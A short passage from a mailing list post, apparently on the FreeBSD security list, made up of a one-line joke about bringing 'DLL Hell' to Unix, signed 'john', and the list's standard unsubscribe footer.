trying to inflict all dimensions of DLL Hell (tm) on Unix as well... -john To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message